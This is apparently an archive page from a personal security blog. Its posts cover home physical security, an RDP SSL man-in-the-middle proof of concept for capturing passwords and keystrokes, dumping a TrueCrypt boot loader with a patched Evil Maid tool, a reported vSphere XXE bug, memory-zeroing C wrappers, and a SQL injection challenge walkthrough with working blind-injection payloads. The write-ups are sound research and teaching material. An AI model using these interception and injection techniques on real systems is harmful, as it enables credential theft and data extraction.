Physical home security options

Posted in MemoToSelf, security with tags , , , on July 13, 2014 by diablohorn

During one of those boring afternoons I noticed that most embassy buildings seem to have more or less the same amount of visible physical protection, this made me wonder what the available options are if you’d want to protect your own house. These are just some quick notes after searching around the internet on another boring afternoon, most of the options have an additional wide variety of configuration possibilities. So if you decide to implement any of the mentioned options, please do some research yourself, since these are just some starting points and you should choose the appropriate configuration yourself.

Keep in mind that (as far as I know) most options discussed here can be bypassed. Like with all security measures you should base the choices you make on a layered approach. The sum of all the protective measures should buy you enough time to detect a break in and react before any valuables are stolen. Feel free to leave additional measures in the comments or how to bypass the measures in this article. Do keep in mind that these measures will be a lot less effective if they decide to break in while you are at home, also these security measure are not aimed at preventing social engineering attacks. As usual I’ve got no clue what the rules in your country are, so read up on them before you implement some of the following options.

Oh and if you want an example of how physical security measures can by bypassed then you’ll probably enjoy this article. It’s about one of the biggest ($100 million) diamond heists in Belgium and how the attackers bypassed ten physical security measures: The Untold Story of the World’s Biggest Diamond Heist

Continue reading

Quick POC to mitm RDP ssl

Posted in general, security with tags , , , on April 21, 2014 by diablohorn

So the other day I stumbled upon this great article from Portcullis Labs. The article explains how you can man-in-the-middle an RDP SSL connection. This can be helpful in obtaining the user’s password, like Portcullis explains in their article. As far as I could tell they didn’t release their tool, so I decided to see if I could whip up a quick POC script with a twist of saving the entire decrypted stream to a pcap file. This would put you in the position to maybe retrieve more sensitive data then just the password. Turns out the only modification from regular SSL intercepting code is more or less the following:

    #read client rdp data
    serversock.sendall(clientsock.recv(19))
    #read server rdp data and check if ssl
    temp = serversock.recv(19)
    clientsock.sendall(temp)
    if(temp[15] == '\x01'):

Like you can see we just pass through the initial packet and then just check the response packet for the 'SSL' byte before we start intercepting. The output is pretty boring, since everything is saved to the file 'output.pcap':

sudo ./rdps2rdp_pcap.py 
waiting for connection...
('...connected from:', ('10.50.0.123', 1044))
waiting for connection...
Intercepting rdp session from 10.50.0.123
some error happend
some error happend

You can ignore the errors, that's just me being lazy for this POC. The output is saved in 'output.pcap' which you can then open with wireshark or further process to extract all the key strokes. If you want to play around with the POC you can find it on my github as usual. If you plan on extracting the key strokes make sure you look for the key scan codes and not for the hex representation of the character that the victim typed. In case you are wondering, yes , extracting the key strokes is left as an excersise for the user :)

 

[QP] Dumping the TrueCrypt second stage

Posted in MemoToSelf, security with tags , , on March 23, 2014 by diablohorn

I was under the impression that TrueCrypt installed a boot loader that was responsible for the pretty menu that you usually see when you boot. So to my surprise when I wanted to play around with it….it wasn’t. TrueCrypt actually uses a second stage to display that pretty menu. The traditional boot loader more or less just takes care of loading the second stage which sits compressed on the hard disk, if loading fails it will display some messages and that’s it. Since I still wanted to play around with it and preferably with the version actually sitting on my test machine’s hard disk I decided to dump it. The easiest way was to use Evil Maid, I modified the source slightly to prevent infection, it will still infect though if you omit a second argument :)

Here are the steps if you want to do it yourself:

  • Retrieve the first 64 sectors, for example with “FTK Imager” if you are under windows
  • Download the Evil Maid source
  • Apply this patch (patch <evilmaid.patch)
  • Run ./patch_tc <file_with_64_sectors> -f

This should look like this:

./patch_tc ~/Desktop/tc-full.dd -f
TrueCrypt EvilMaid patcher v0.1
---------------------------------
TrueCrypt Boot Loader detected
PatchTrueCrypt(): Compressed loader size: 11877 bytes
PatchTrueCrypt(): Saved checksum 0x267DAC67
PatchTrueCrypt(): Loader memory size: 0x7000 (28672) bytes
PatchTrueCrypt(): Decompressing the boot loader
PatchTrueCrypt(): Decompression successful

The local directory where the executable patch_tc resides should now contain two files "sectors_backup" and "loader" which is the uncompressed second stage as you can see from a simple strings output:

strings -n 15 loader 
No bootable partition found
 TrueCrypt Boot Loader 7.1
    Keyboard Controls:
    [Esc]  
Boot Non-Hidden System (Boot Manager)
Skip Authentication (Boot Manager)
[Esc]  Cancel
Enter password
 for hidden system:
Booting...
BIOS reserved too much memory: 
- Upgrade BIOS
- Use a different motherboard model/brand
Warning: Caps Lock is on.
Incorrect password.
If you are sure the password is correct, the key data may be damaged. Boot your
TrueCrypt Rescue Disk and select 'Repair Options' > 'Restore key data'.
Bootable Partitions:
, Partition: 
Press 1-9 to select partition: 
Your BIOS does not support large drives
 due to a bug
- Enable LBA in BIOS
Copying system to hidden volume. To abort, press Esc.
If aborted, copying will have to start from the beginning (if attempted again).
To fix bad sectors: 1) Terminate 2) Encrypt and decrypt sys partition 3) Retry
Remaining: 
Copying completed.
Memory corrupted

[old] VMware vSphere client XML External Entity attack

Posted in general, security with tags , , , , , , on March 16, 2014 by diablohorn

So this is a *really* old blog post that I wrote a while back when I discovered, or at least so I believed, an XXE bug in the VMware vSphere client. I reported this to the VMware security team but they were not able to reproduce the part where you would use a UNC path to try and steal the credentials of an user. I then got busy and never continued to investigate why they were not able to reproduce it. Since the vSphere client is being replaced by a web client I decided it couldn’t hurt to release this old post, also the likely hood of this being exploited is pretty low.

Curiosity (from Latincuriosus “careful, diligent, curious,” akin to cura “care”) is a quality related to inquisitive thinking such as exploration, investigation, and learning, evident by observation in human and many animal species.  (Wikipedia)

As always a driving force behind many discoveries, as well as the recent bug I found in the VMware vSphere client (vvc). Not a very interesting bug, yet a fun journey to approach things from a different perspective. After my last post about a portable virtual lab I wondered what the vvc used as a protocol to communicate with the esxi server and if it could contain any bugs. So this time instead of getting out ollydbg I decided to go for a more high-level approach. Let’s see how I poked around and found the XML External Entity (XXE) (pdf)  vulnerability in the vvc.

I first looked in the directory of vvc, just to know the type of files that resided there, here is a screenshot:

1

Logically the file that drew my attention was the config file of which the following settings also seemed like they would come in handy:

2

Seems like if we want to tinker with the connection a higher time-out would give us more time and a higher verbosity level of logging could help us during the poking around. Enough looking around at this point let’s get more active.

Continue reading

Memory Zeroization: frustrating memory forensics

Posted in security with tags , , on March 16, 2014 by diablohorn

Zeroization of information is a long standing practices on systems that handle highly sensitive data (usually cryptography systems), yet it’s something that isn’t done very often by most applications on your regular desktop environment. I’ve got no clue why, although I guess that it is because most people assume that if memory is not available anymore to their application it won’t be available to others. This however is a flawed assumption which is eagerly used by investigations that use memory forensics techniques. If you want to see the power of memory forensics take a look at volatility which is an excellent memory forensics framework. Just to give you an idea of how powerful memory forensics can be here is an example taken from the volatility blog:

Taking screenshots from memory files

Like you can see an investigator (or an attacker) is able to pull the complete layout of your windows from a memory dump, isn’t that impressive? So like you are probably guessing by now it should actually be best practice to zero memory before it’s released. In an ideal situation your operating system would take of this for you, but unfortunately it doesn’t. With ideal I mean zero it immediately when the programmer calls the *free*()  functions.

Dear OS makers could you implement it by default?

So to try and promote the use of zeroization in regular software I’ve decided to create a few simple wrappers that zero the memory before it’s released. The message to take away here is

*always zero your memory before releasing it*

These wrappers are nothing fancy and as usual can be found on my github.

As said before the wrappers itself are not that interesting, strictly speaking they are not even needed since you can also zero memory yourself before calling a function to free the allocated memory. The important thing to take into account when doing any zeroization of memory is to make sure that the function or technique you use is not optimized away by the compiler. Compilers have a nasty habit of optimizing stuff that you don’t want optimized. It’s however pretty convenient to just call a free function and not having to worry about zeroing the memory yourself. So the first thing I did was having a look at the general concept of memory allocation which is more or less something along the following lines:

  • Caller requests 100 bytes
  • Operating system allocates a bit more, say four bytes, so it becomes 104
  • Operating system stores the size of the requested memory in the extra allocated bytes
  • Caller gets a memory block of 100 bytes without knowing that it’s actually 104

That sounds simple enough so I decided to start with writing a wrapper for the free() functions to retrieve the size of the block to be free just like the operating system would do it. To my surprise however it wasn’t as easy as it conceptually sounded at first. I started to digging into the malloc() and free() and in my tests it seemed that they are just wrappers for HeapAllocate() and HeapFree(). That didn’t sound to bad at first until I landed in the wonderful world of heap management. If you want a good read on that check out this paper which does a very nice job of explaining it.

This is when I decided to discard the method of trying to retrieve the size of the memory block based on the received pointer and decided to just add a thin layer of “memory size management”. Stupid me though because as you will read later it’s actually dead easy to retrieve the size of a memory block. So I started to write some code that just implemented the conceptual method that I first encountered. This however means I would not only need to wrap the *free*() functions but also the *alloc*() functions. This resulted in the following code for the malloc() and free() functions:

/*
	Thanks TheColonial for reminding me of pointer arithmethic and re-educating me on it.
	Old unused code, left here in case someone prefers to do it this way.
	This code also wrapped the allocater to prepend the size of the allocated memory block.
*/
void *zmalloc( size_t size ){
	size_t newsize = (sizeof(size_t) + size);
	size_t *newmalloc = 0;
	void *originalmalloc = NULL;

	originalmalloc = malloc(newsize);
	printf("size %i\n",_msize(originalmalloc));
	if(originalmalloc == NULL){
		return NULL;
	}

	(*(size_t *)originalmalloc) = size;
	newmalloc = (size_t *)originalmalloc;

	return (void *)(newmalloc + 1);
}

void zfree(void *memblock){
	size_t *newmemblock = NULL;
	size_t size = 0;

	newmemblock = ((size_t *)memblock)-1;
	memcpy_s(&size,sizeof(size_t),newmemblock,sizeof(size_t));
	size += sizeof(size_t);
	SecureZeroMemory((void *)newmemblock,size);
	free((void *)newmemblock);
}

Now as the comment suggested I first failed at properly implementing this since I forgot that when you do pointer arithmetic the size of the destination pointer is used for the operations. So in my first code I ended up with 4*size_t being allocated which is kind of a waste of space. This was all great and so but when I saw the function definition of other memory allocation functions it didn't really inspire me to continue. So I decided to have one more look at the whole "extract size from memory block pointer" issue.

I often learn a lot of new stuff when working out ideas or playing around, but now I just felt plain stupid see for yourself:

http://msdn.microsoft.com/en-us/library/windows/desktop/aa366781(v=vs.85).aspx

Do you see anything that could be remotely useful? YES most of the memory allocation functions have a size companion that will retrieve the size of the memory block. Which means I go back to only wrapping the free function and reducing the code to:

void zfree(void *memblock){
	size_t blocksize = _msize(memblock);

	if(blocksize != -1){
		SecureZeroMemory(memblock,blocksize);
	}
	free(memblock);
}

So this was a fun and interesting path to finally end up with the original idea of just wrapping the free functions. Hope you enjoyed this entry and that after reading this you'll all be doing zeroing of memory before freeing it :)

[QP] Stop video recording your command line, I want to grep it!

Posted in MemoToSelf with tags , on February 27, 2014 by diablohorn

If this comes of as a rant, then yes it is! I understand that not everyone likes reading and that everyone has their own method to absorb information. That being said there are plenty of cases where videos are not always the best choice. Sometimes people just want to use your video as a reference or quickly look up a command. So just as a reminder I’d like to bring the following well known Linux commands to your attention:

  • script
    • Records all your visible terminal input & output to a file as well as timing information if desired
  • scriptreplay
    • Can replay the recorded input & output if the timing information is available

So you still keep the ‘I prefer watching someone do it experience’ BUT you also provide a way for people to just grep for information. Additionally you can also configure the replay speed to be crazy fast. If I remember correctly mubix linked to these scripts in the past. If you want a clear walk-through do READ the following site:

http://linux.byexamples.com/archives/279/record-the-terminal-session-and-replay-later/

Solving RogueCoder’s SQLi challenge

Posted in general with tags , , , on February 9, 2014 by diablohorn

So I’m hanging around on #vulnhub (freenode) when RogueCoder silently drops a SQLi challenge, which you can find here:

http://ethax.secnet.org/challenges/sqli-01.php?id=1

At first I ignored it since well I’m usually not that big a fan of challenges. Mostly because they are not realistic or because they require you to solve them how the author intends them to be solved. After a while though I decided to give it a try (due to Slurpgeit nagging me to do it together) and well this was one of the more fun SQLi challenges that I’ve done. It was realistic and RogueCoder didn’t impose any “correct solution”. If you hadn’t noticed yet this post will give away the solution, only read on if you have already solved it or if you want to spoil the challenge for yourself.

Now instead of firing up our favorite tool, let’s first understand how the challenge works. When you perform the first request with ID set to 1 you’ll get the following response:

Oracle hates @miss_sudo
Username: shp0ngl3
Email: some@email.com

Now that seems like a normal response, let’s try non existing IDs like -1, 0 or 99999 in all cases I’m just assuming they don’t exist, but you have to start somewhere right? There are two very distinct responses:

Response to id=-1

Oracle hates @miss_sudo
Nice try!

Response to id=0 or id=99999

Oracle hates @miss_sudo

Hmm interesting, just to be sure I also checked the raw response instead of just the browser representation. I mean you never know when some html/javascript might be giving away goodies right? For the ones wondering who miss_sudo is, please read her latest pretty awesome oracle vulnerability on her blog.

The line that caught my eye was “Nice try!” this seems to indicate that some kind of hack detection is in place. Let’s try and see if we can determine what kind of protection is in place:

Several requests with ‘,”,\,%00,\’,\”,\\ all ended in the same message. Which led me to believe that only numbers are accepted, which in turn made me think that would be really weird since it would be almost unsolvable. Let’s go back to basics and see what happens if we do a request with id=02:

Oracle hates @miss_sudo
Username: RexorZ
Email: your@mail.net

So that works, let’s try adding a ‘a’ behind it or enclose it in brackets like ‘(02)’:

Oracle hates @miss_sudo
Nice try!

Now this seems more like it, although you now might wonder why? Well because we now are pretty sure that indeed there is some filter in place that only seems to accept numbers. This is pretty important information if you eventually want to use any of the available SQL injection tools. One of the characters that we have not tested yet, but is actually pretty important is the space character, so let’s do a request with id=0 2:

Oracle hates @miss_sudo
Username: RexorZ
Email: your@mail.net

Fun! Why? Because it tells us that spaces are not immediately rejected but probably replaced by nothing. Depending on the SQL injection point this can be really useful to bypass filters by splitting payloads up, in this case not so much though.  So this is the point where we start thinking about how the programmer might have implemented this and try to think of the defenses he might have used.

I didn’t get that chance though, since I was doing it together with Slurpgeit he had already gone through the list of possible characters and had identified a character ‘%OA’ (line feed) that was allowed, since issuing the request id=2%0a produces:

Oracle hates @miss_sudo
Username: RexorZ
Email: your@mail.net

You might be saying but I see no difference with a request that just does id=2, in this case that’s a good thing. Since it’s a line feed and it produces the same result as a valid request. To really know if this is the magical character we are looking for let’s try a bit of SQL magic with the following requests:

id=2%OA%2bif(1=0,1,2)

Oracle hates @miss_sudo

id=2%0A%2bif(1=1,1,2)

Oracle hates @miss_sudo
Username: user
Email: user@sqli.com

Excellent! We just solved the SQLi challenge. Our first request evaluates to false and thus adds 2 to the id resulting in a total of 4 which is an id with no information associated, our second request evaluates to true and thus adding 1 to the id resulting in a total of 3 which is an id with information associated. I decided to retrieve the current database user with the user() function the “clumsy” way:

id=2%0A%2bif(substring(user(),1,1)=’a’,1,2)

Using that request as a template I used Burp Intruder with the “cluster bomb” payload type to cycle through every possible combination to find the current user.

Slurpgeit will probably respond to this blog post with a more efficient way of retrieving information and RogueCoder will do a whole blog post on this challenge including source and a more in depth explanation of the filters and why the ‘%OA’ characters works to bypass them.

Hope you enjoyed this quickly written walk through and I hope that the big take away is that before using SQL injection tools it really really really helps to have solved it manually and actually understanding the why’s and how’s.

Finally i’d like to thank RogueCoder for making this challenge, Slurpgeit for convincing me to do it and #vulnhub for being an awesome channel :)

Follow

Get every new post delivered to your Inbox.

Join 33 other followers